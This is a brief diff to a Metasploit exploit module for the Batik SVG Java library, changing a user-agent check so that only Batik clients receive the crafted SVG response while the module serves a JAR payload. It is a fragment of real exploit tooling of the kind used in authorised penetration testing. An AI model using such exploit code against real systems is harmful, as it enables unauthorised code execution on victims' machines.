diff --git a/modules/exploits/multi/misc/batik_svg_java.rb b/modules/exploits/multi/misc/batik_svg_java.rb index 6d79c776f8..274fc5e949 100644 --- a/modules/exploits/multi/misc/batik_svg_java.rb +++ b/modules/exploits/multi/misc/batik_svg_java.rb @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending jar payload") send_response(cli, jar.pack, {'Content-Type'=>'application/java-archive'}) - elsif agent =~ /Batik/ or agent =~ /Mozilla/ + elsif agent =~ /Batik/ svg = %Q|